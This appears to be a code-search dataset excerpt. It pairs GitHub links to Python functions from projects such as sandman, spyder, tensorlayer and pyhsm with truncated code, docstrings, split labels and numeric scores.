https://github.com/jeffknupp/sandman/blob/253ea4d15cbccd9f0016d66fedd7478614cc0b2f/sandman/sandmanctl.py#L35-L44
def run(generate_pks, show_pks, host, port, uri): """Connect sandman to <URI> and start the API server/admin interface.""" app.config['SQLALCHEMY_DATABASE_URI'] = uri app.config['SANDMAN_GENERATE_PKS'] = generate_pks app.config['SANDMAN_SHOW_PKS'] = show_pks app.config['SERVER_HOST'] = host ...
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Connect sandman to <URI> and start the API server/admin interface.
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python
train
42.6
pyblish/pyblish-maya
pyblish_maya/lib.py
https://github.com/pyblish/pyblish-maya/blob/75db8b5d8de9d53ae95e74195a788b5f6db2cb5f/pyblish_maya/lib.py#L134-L156
def add_to_filemenu(): """Add Pyblish to file-menu .. note:: We're going a bit hacky here, probably due to my lack of understanding for `evalDeferred` or `executeDeferred`, so if you can think of a better solution, feel free to edit. """ if hasattr(cmds, 'about') and not cmds.about(ba...
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python
test
37.956522
JarryShaw/PyPCAPKit
src/foundation/extraction.py
https://github.com/JarryShaw/PyPCAPKit/blob/c7f0da9aebc2cf210bf8f8b912f7d3cbb98ca10e/src/foundation/extraction.py#L1015-L1082
def _run_server(self, multiprocessing): """Use server multiprocessing to extract PCAP files.""" if not self._flag_m: raise UnsupportedCall(f"Extractor(engine={self._exeng})' has no attribute '_run_server'") if not self._flag_q: self._flag_q = True warnings.wa...
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Use server multiprocessing to extract PCAP files.
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python
train
47.647059
algolia/algoliasearch-django
algoliasearch_django/models.py
https://github.com/algolia/algoliasearch-django/blob/ca219db41eb56bdd1c0389cdc1508a41698958d7/algoliasearch_django/models.py#L251-L282
def _should_really_index(self, instance): """Return True if according to should_index the object should be indexed.""" if self._should_index_is_method: is_method = inspect.ismethod(self.should_index) try: count_args = len(inspect.signature(self.should_index).param...
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Return True if according to should_index the object should be indexed.
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python
valid
49.3125
gopalkoduri/intonation
intonation/pitch.py
https://github.com/gopalkoduri/intonation/blob/7f50d2b572755840be960ea990416a7b27f20312/intonation/pitch.py#L79-L180
def fit_lines(self, window=1500, break_thresh=1500): """ Fits lines to pitch contours. :param window: size of each chunk to which linear equation is to be fit (in milliseconds). To keep it simple, hop is chosen to be one third of the window. :param break_thresh: If there is sile...
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Fits lines to pitch contours. :param window: size of each chunk to which linear equation is to be fit (in milliseconds). To keep it simple, hop is chosen to be one third of the window. :param break_thresh: If there is silence beyond this limit (in milliseconds), the contour will be brok...
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python
train
50.205882
spyder-ide/spyder
spyder/preferences/shortcuts.py
https://github.com/spyder-ide/spyder/blob/f76836ce1b924bcc4efd3f74f2960d26a4e528e0/spyder/preferences/shortcuts.py#L590-L607
def headerData(self, section, orientation, role=Qt.DisplayRole): """Qt Override.""" if role == Qt.TextAlignmentRole: if orientation == Qt.Horizontal: return to_qvariant(int(Qt.AlignHCenter | Qt.AlignVCenter)) return to_qvariant(int(Qt.AlignRight | Qt.AlignVCe...
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Qt Override.
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python
train
44.444444
ZELLMECHANIK-DRESDEN/dclab
dclab/downsampling.py
https://github.com/ZELLMECHANIK-DRESDEN/dclab/blob/79002c4356e7020c2ba73ab0a3819c9abd4affec/dclab/downsampling.py#L72-L167
def downsample_grid(a, b, samples, ret_idx=False): """Content-based downsampling for faster visualization The arrays `a` and `b` make up a 2D scatter plot with high and low density values. This method takes out points at indices with high density. Parameters ---------- a, b: 1d ndarrays ...
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Content-based downsampling for faster visualization The arrays `a` and `b` make up a 2D scatter plot with high and low density values. This method takes out points at indices with high density. Parameters ---------- a, b: 1d ndarrays The input arrays to downsample samples: int ...
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python
train
33.96875
BD2KGenomics/toil-scripts
src/toil_scripts/adam_pipeline/adam_preprocessing.py
https://github.com/BD2KGenomics/toil-scripts/blob/f878d863defcdccaabb7fe06f991451b7a198fb7/src/toil_scripts/adam_pipeline/adam_preprocessing.py#L200-L210
def upload_data(job, master_ip, inputs, hdfs_name, upload_name, spark_on_toil): """ Upload file hdfsName from hdfs to s3 """ if mock_mode(): truncate_file(master_ip, hdfs_name, spark_on_toil) log.info("Uploading output BAM %s to %s.", hdfs_name, upload_name) call_conductor(job, master_...
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Upload file hdfsName from hdfs to s3
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python
train
37.454545
kata198/AdvancedHTMLParser
AdvancedHTMLParser/Tags.py
https://github.com/kata198/AdvancedHTMLParser/blob/06aeea5d8e2ea86e155aae0fc237623d3e9b7f9d/AdvancedHTMLParser/Tags.py#L673-L687
def removeChildren(self, children): ''' removeChildren - Remove multiple child AdvancedTags. @see removeChild @return list<AdvancedTag/None> - A list of all tags removed in same order as passed. Item is "None" if it was not attached to this node, and thus wa...
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removeChildren - Remove multiple child AdvancedTags. @see removeChild @return list<AdvancedTag/None> - A list of all tags removed in same order as passed. Item is "None" if it was not attached to this node, and thus was not removed.
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python
train
30.066667
google/grumpy
third_party/pythonparser/parser.py
https://github.com/google/grumpy/blob/3ec87959189cfcdeae82eb68a47648ac25ceb10b/third_party/pythonparser/parser.py#L530-L535
def single_input(self, body): """single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE""" loc = None if body != []: loc = body[0].loc return ast.Interactive(body=body, loc=loc)
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single_input: NEWLINE | simple_stmt | compound_stmt NEWLINE
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python
valid
36.833333
quantmind/dynts
dynts/backends/r/base.py
https://github.com/quantmind/dynts/blob/21ac57c648bfec402fa6b1fe569496cf098fb5e8/dynts/backends/r/base.py#L117-L126
def rcts(self, command, *args, **kwargs): '''General function for applying a rolling R function to a timeserie''' cls = self.__class__ name = kwargs.pop('name','') date = kwargs.pop('date',None) data = kwargs.pop('data',None) kwargs.pop('bycolumn',None) ts ...
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General function for applying a rolling R function to a timeserie
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python
train
41.9
calmjs/nunja
src/nunja/registry.py
https://github.com/calmjs/nunja/blob/37ba114ca2239322718fd9994bb078c037682c33/src/nunja/registry.py#L260-L271
def verify_path(self, mold_id_path): """ Lookup and verify path. """ try: path = self.lookup_path(mold_id_path) if not exists(path): raise KeyError except KeyError: raise_os_error(ENOENT) return path
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Lookup and verify path.
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python
train
24.083333
galaxyproject/pulsar
pulsar/client/client.py
https://github.com/galaxyproject/pulsar/blob/9ab6683802884324652da0a9f0808c7eb59d3ab4/pulsar/client/client.py#L196-L220
def fetch_output(self, path, name, working_directory, action_type, output_type): """ Fetch (transfer, copy, etc...) an output from the remote Pulsar server. **Parameters** path : str Local path of the dataset. name : str Remote name of file (i.e. path re...
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Fetch (transfer, copy, etc...) an output from the remote Pulsar server. **Parameters** path : str Local path of the dataset. name : str Remote name of file (i.e. path relative to remote staging output or working directory). working_directory : str ...
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python
train
44.52
PGower/PyCanvas
pycanvas/apis/pages.py
https://github.com/PGower/PyCanvas/blob/68520005382b440a1e462f9df369f54d364e21e8/pycanvas/apis/pages.py#L339-L358
def show_page_courses(self, url, course_id): """ Show page. Retrieve the content of a wiki page """ path = {} data = {} params = {} # REQUIRED - PATH - course_id """ID""" path["course_id"] = course_id # REQUIRED - P...
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Show page. Retrieve the content of a wiki page
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python
train
33.4
ManiacalLabs/BiblioPixel
bibliopixel/project/edit_queue.py
https://github.com/ManiacalLabs/BiblioPixel/blob/fd97e6c651a4bbcade64733847f4eec8f7704b7c/bibliopixel/project/edit_queue.py#L15-L24
def put_edit(self, f, *args, **kwds): """ Defer an edit to run on the EditQueue. :param callable f: The function to be called :param tuple args: Positional arguments to the function :param tuple kwds: Keyword arguments to the function :throws queue.Full: if the queue is ...
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Defer an edit to run on the EditQueue. :param callable f: The function to be called :param tuple args: Positional arguments to the function :param tuple kwds: Keyword arguments to the function :throws queue.Full: if the queue is full
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python
valid
38.8
RudolfCardinal/pythonlib
cardinal_pythonlib/convert.py
https://github.com/RudolfCardinal/pythonlib/blob/0b84cb35f38bd7d8723958dae51b480a829b7227/cardinal_pythonlib/convert.py#L113-L122
def convert_attrs_to_lowercase(obj: Any, attrs: Iterable[str]) -> None: """ Converts the specified attributes of an object to lower case, modifying the object in place. """ for a in attrs: value = getattr(obj, a) if value is None: continue setattr(obj, a, value.lo...
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Converts the specified attributes of an object to lower case, modifying the object in place.
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python
train
31.7
tensorlayer/tensorlayer
tensorlayer/prepro.py
https://github.com/tensorlayer/tensorlayer/blob/aa9e52e36c7058a7e6fd81d36563ca6850b21956/tensorlayer/prepro.py#L1752-L1808
def adjust_hue(im, hout=0.66, is_offset=True, is_clip=True, is_random=False): """Adjust hue of an RGB image. This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type. F...
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Adjust hue of an RGB image. This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type. For TF, see `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/...
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python
valid
38.140351
chrislim2888/IP2Location-Python
IP2Location.py
https://github.com/chrislim2888/IP2Location-Python/blob/6b2a7d3a5e61c9f8efda5ae96c7064f9a7714621/IP2Location.py#L189-L192
def get_mcc(self, ip): ''' Get mcc ''' rec = self.get_all(ip) return rec and rec.mcc
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Get mcc
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python
train
26.25
analyzere/analyzere-python
analyzere/base_resources.py
https://github.com/analyzere/analyzere-python/blob/0593d5b7b69c4df6d6dbc80387cc6ff5dc5f4e8f/analyzere/base_resources.py#L309-L366
def upload_data(self, file_or_str, chunk_size=analyzere.upload_chunk_size, poll_interval=analyzere.upload_poll_interval, upload_callback=lambda x: None, commit_callback=lambda x: None): """ Accepts a file-like object or string and uploads it. F...
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Accepts a file-like object or string and uploads it. Files are automatically uploaded in chunks. The default chunk size is 16MiB and can be overwritten by specifying the number of bytes in the ``chunk_size`` variable. Accepts an optional poll_interval for temporarily overriding the ...
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python
train
43.448276
ARMmbed/yotta
yotta/lib/registry_access.py
https://github.com/ARMmbed/yotta/blob/56bc1e56c602fa20307b23fe27518e9cd6c11af1/yotta/lib/registry_access.py#L536-L553
def unpublish(namespace, name, version, registry=None): ''' Try to unpublish a recently published version. Return any errors that occur. ''' registry = registry or Registry_Base_URL url = '%s/%s/%s/versions/%s' % ( registry, namespace, name, version ) he...
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Try to unpublish a recently published version. Return any errors that occur.
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python
valid
24.555556
mapnik/Cascadenik
cascadenik/__init__.py
https://github.com/mapnik/Cascadenik/blob/82f66859340a31dfcb24af127274f262d4f3ad85/cascadenik/__init__.py#L42-L90
def load_map(map, src_file, output_dir, scale=1, cache_dir=None, datasources_cfg=None, user_styles=[], verbose=False): """ Apply a stylesheet source file to a given mapnik Map instance, like mapnik.load_map(). Parameters: map: Instance of mapnik.Map. sr...
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Apply a stylesheet source file to a given mapnik Map instance, like mapnik.load_map(). Parameters: map: Instance of mapnik.Map. src_file: Location of stylesheet .mml file. Can be relative path, absolute path, or fully-qualified URL o...
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python
train
33.673469
bitesofcode/projex
projex/cli.py
https://github.com/bitesofcode/projex/blob/d31743ec456a41428709968ab11a2cf6c6c76247/projex/cli.py#L281-L302
def parser(scope, usage=''): """ Generates a default parser for the inputted scope. :param scope | <dict> || <module> usage | <str> callable | <str> :return <OptionParser> """ subcmds = [] for cmd in commands(scope): subcmds.ap...
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Generates a default parser for the inputted scope. :param scope | <dict> || <module> usage | <str> callable | <str> :return <OptionParser>
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python
train
23.681818
Yubico/python-pyhsm
pyhsm/aead_cmd.py
https://github.com/Yubico/python-pyhsm/blob/b6e2744d1ea15c352a0fc1d6ebc5950026b71311/pyhsm/aead_cmd.py#L58-L84
def parse_result(self, data): """ Returns a YHSM_GeneratedAEAD instance, or throws pyhsm.exception.YHSM_CommandFailed. """ # typedef struct { # uint8_t nonce[YSM_AEAD_NONCE_SIZE]; // Nonce (publicId for Yubikey AEADs) # uint32_t keyHandle; // Key handl...
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Returns a YHSM_GeneratedAEAD instance, or throws pyhsm.exception.YHSM_CommandFailed.
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python
train
46.481481
kbr/fritzconnection
fritzconnection/fritzstatus.py
https://github.com/kbr/fritzconnection/blob/b183f759ef19dd1652371e912d36cfe34f6639ac/fritzconnection/fritzstatus.py#L118-L124
def str_transmission_rate(self): """Returns a tuple of human readable transmission rates in bytes.""" upstream, downstream = self.transmission_rate return ( fritztools.format_num(upstream), fritztools.format_num(downstream) )
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Returns a tuple of human readable transmission rates in bytes.
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python
train
39.285714
wiheto/teneto
teneto/classes/bids.py
https://github.com/wiheto/teneto/blob/80d7a83a9adc1714589b020627c45bd5b66248ab/teneto/classes/bids.py#L221-L320
def _derive_temporalnetwork(self, f, i, tag, params, confounds_exist, confound_files): """ Funciton called by TenetoBIDS.derive_temporalnetwork for concurrent processing. """ data = load_tabular_file(f, index_col=True, header=True) fs, _ = drop_bids_suffix(f) save_name, ...
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Funciton called by TenetoBIDS.derive_temporalnetwork for concurrent processing.
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python
train
47.32
DataONEorg/d1_python
lib_client/src/d1_client/solr_client.py
https://github.com/DataONEorg/d1_python/blob/3ac4d4f3ca052d3e8641a6a329cab526c8ddcb0d/lib_client/src/d1_client/solr_client.py#L506-L510
def _post_query(self, **query_dict): """Perform a POST query against Solr and return the response as a Python dict.""" param_dict = query_dict.copy() return self._send_query(do_post=True, **param_dict)
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Perform a POST query against Solr and return the response as a Python dict.
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python
train
45.8
bwhite/hadoopy
hadoopy/thirdparty/pyinstaller/PyInstaller/compat.py
https://github.com/bwhite/hadoopy/blob/ff39b4e6d4e6efaf1f571cf0f2c0e0d7ab28c2d6/hadoopy/thirdparty/pyinstaller/PyInstaller/compat.py#L197-L204
def exec_python_rc(*args, **kwargs): """ Wrap running python script in a subprocess. Return exit code of the invoked command. """ cmdargs, kwargs = __wrap_python(args, kwargs) return exec_command_rc(*cmdargs, **kwargs)
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Wrap running python script in a subprocess. Return exit code of the invoked command.
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python
train
29.5
Opentrons/opentrons
api/src/opentrons/legacy_api/instruments/pipette.py
https://github.com/Opentrons/opentrons/blob/a7c15cc2636ecb64ab56c7edc1d8a57163aaeadf/api/src/opentrons/legacy_api/instruments/pipette.py#L250-L268
def reset_tip_tracking(self): """ Resets the :any:`Pipette` tip tracking, "refilling" the tip racks """ self.current_tip(None) self.tip_rack_iter = iter([]) if self.has_tip_rack(): iterables = self.tip_racks if self.channels > 1: ...
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Resets the :any:`Pipette` tip tracking, "refilling" the tip racks
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python
train
32.894737
bolt-project/bolt
bolt/spark/chunk.py
https://github.com/bolt-project/bolt/blob/9cd7104aa085498da3097b72696184b9d3651c51/bolt/spark/chunk.py#L434-L512
def getplan(self, size="150", axes=None, padding=None): """ Identify a plan for chunking values along each dimension. Generates an ndarray with the size (in number of elements) of chunks in each dimension. If provided, will estimate chunks for only a subset of axes, leaving all ...
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Identify a plan for chunking values along each dimension. Generates an ndarray with the size (in number of elements) of chunks in each dimension. If provided, will estimate chunks for only a subset of axes, leaving all others to the full size of the axis. Parameters ---------- ...
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python
test
32.974684
hfaran/progressive
progressive/util.py
https://github.com/hfaran/progressive/blob/e39c7fb17405dbe997c3417a5993b94ef16dab0a/progressive/util.py#L34-L45
def merge_dicts(dicts, deepcopy=False): """Merges dicts In case of key conflicts, the value kept will be from the latter dictionary in the list of dictionaries :param dicts: [dict, ...] :param deepcopy: deepcopy items within dicts """ assert isinstance(dicts, list) and all(isinstance(d, di...
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Merges dicts In case of key conflicts, the value kept will be from the latter dictionary in the list of dictionaries :param dicts: [dict, ...] :param deepcopy: deepcopy items within dicts
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python
train
37.166667
marl/jams
jams/core.py
https://github.com/marl/jams/blob/b16778399b9528efbd71434842a079f7691a7a66/jams/core.py#L1065-L1087
def to_interval_values(self): '''Extract observation data in a `mir_eval`-friendly format. Returns ------- intervals : np.ndarray [shape=(n, 2), dtype=float] Start- and end-times of all valued intervals `intervals[i, :] = [time[i], time[i] + duration[i]]` ...
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Extract observation data in a `mir_eval`-friendly format. Returns ------- intervals : np.ndarray [shape=(n, 2), dtype=float] Start- and end-times of all valued intervals `intervals[i, :] = [time[i], time[i] + duration[i]]` labels : list List view of...
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python
valid
27.695652
CivicSpleen/ambry
ambry/orm/column.py
https://github.com/CivicSpleen/ambry/blob/d7f2be4bf1f7ffd086f3fadd4fcae60c32473e42/ambry/orm/column.py#L249-L252
def is_measure(self): """Return true if the colum is a dimension""" from ambry.valuetype.core import ROLE return self.role == ROLE.MEASURE
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Return true if the colum is a dimension
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python
train
39.75
ranaroussi/qtpylib
qtpylib/blotter.py
https://github.com/ranaroussi/qtpylib/blob/0dbbc465fafd9cb9b0f4d10e1e07fae4e15032dd/qtpylib/blotter.py#L887-L950
def _fix_history_sequence(self, df, table): """ fix out-of-sequence ticks/bars """ # remove "Unnamed: x" columns cols = df.columns[df.columns.str.startswith('Unnamed:')].tolist() df.drop(cols, axis=1, inplace=True) # remove future dates df['datetime'] = pd.to_datetime(d...
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fix out-of-sequence ticks/bars
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python
train
36.015625
totalgood/pugnlp
src/pugnlp/util.py
https://github.com/totalgood/pugnlp/blob/c43445b14afddfdeadc5f3076675c9e8fc1ee67c/src/pugnlp/util.py#L1413-L1448
def strip_br(s): r""" Strip the trailing html linebreak character (<BR />) from a string or sequence of strings A sequence of strings is assumed to be a row in a CSV/TSV file or words from a line of text so only the last element in a sequence is "stripped" >>> strip_br(' Title <BR> ') ' Title' ...
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r""" Strip the trailing html linebreak character (<BR />) from a string or sequence of strings A sequence of strings is assumed to be a row in a CSV/TSV file or words from a line of text so only the last element in a sequence is "stripped" >>> strip_br(' Title <BR> ') ' Title' >>> strip_br(list(ra...
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python
train
34.472222
pmacosta/peng
peng/wave_functions.py
https://github.com/pmacosta/peng/blob/976935377adaa3de26fc5677aceb2cdfbd6f93a7/peng/wave_functions.py#L728-L782
def fftp(wave, npoints=None, indep_min=None, indep_max=None, unwrap=True, rad=True): r""" Return the phase of the Fast Fourier Transform of a waveform. :param wave: Waveform :type wave: :py:class:`peng.eng.Waveform` :param npoints: Number of points to use in the transform. If **npoints** ...
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r""" Return the phase of the Fast Fourier Transform of a waveform. :param wave: Waveform :type wave: :py:class:`peng.eng.Waveform` :param npoints: Number of points to use in the transform. If **npoints** is less than the size of the independent variable vector ...
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python
test
34.363636
christophertbrown/bioscripts
ctbBio/transform.py
https://github.com/christophertbrown/bioscripts/blob/83b2566b3a5745437ec651cd6cafddd056846240/ctbBio/transform.py#L95-L105
def norm(table): """ fit to normal distribution """ print('# norm dist is broken', file=sys.stderr) exit() from matplotlib.pyplot import hist as hist t = [] for i in table: t.append(np.ndarray.tolist(hist(i, bins = len(i), normed = True)[0])) return t
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fit to normal distribution
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python
train
25.909091
ljcooke/see
see/tools.py
https://github.com/ljcooke/see/blob/4cbc67a31c92367977ecb4bbb1f0736fa688a6ba/see/tools.py#L16-L27
def char_width(char): """ Get the display length of a unicode character. """ if ord(char) < 128: return 1 elif unicodedata.east_asian_width(char) in ('F', 'W'): return 2 elif unicodedata.category(char) in ('Mn',): return 0 else: return 1
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Get the display length of a unicode character.
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python
train
23.833333
OpenHydrology/floodestimation
floodestimation/collections.py
https://github.com/OpenHydrology/floodestimation/blob/782da7c5abd1348923129efe89fb70003ebb088c/floodestimation/collections.py#L118-L173
def most_similar_catchments(self, subject_catchment, similarity_dist_function, records_limit=500, include_subject_catchment='auto'): """ Return a list of catchments sorted by hydrological similarity defined by `similarity_distance_function` :param subject_catchme...
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Return a list of catchments sorted by hydrological similarity defined by `similarity_distance_function` :param subject_catchment: subject catchment to find similar catchments for :type subject_catchment: :class:`floodestimation.entities.Catchment` :param similarity_dist_function: a method retur...
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python
train
59.357143
jaraco/svg.charts
svg/charts/plot.py
https://github.com/jaraco/svg.charts/blob/23053497b3f1af4e760f355050107ae3bc05909d/svg/charts/plot.py#L326-L340
def __draw_constant_line(self, value_label_style): "Draw a constant line on the y-axis with the label" value, label, style = value_label_style start = self.transform_output_coordinates((0, value))[1] stop = self.graph_width path = etree.SubElement(self.graph, 'path', { 'd': 'M 0 %(start)s h%(stop)s' % loca...
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Draw a constant line on the y-axis with the label
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python
test
34.466667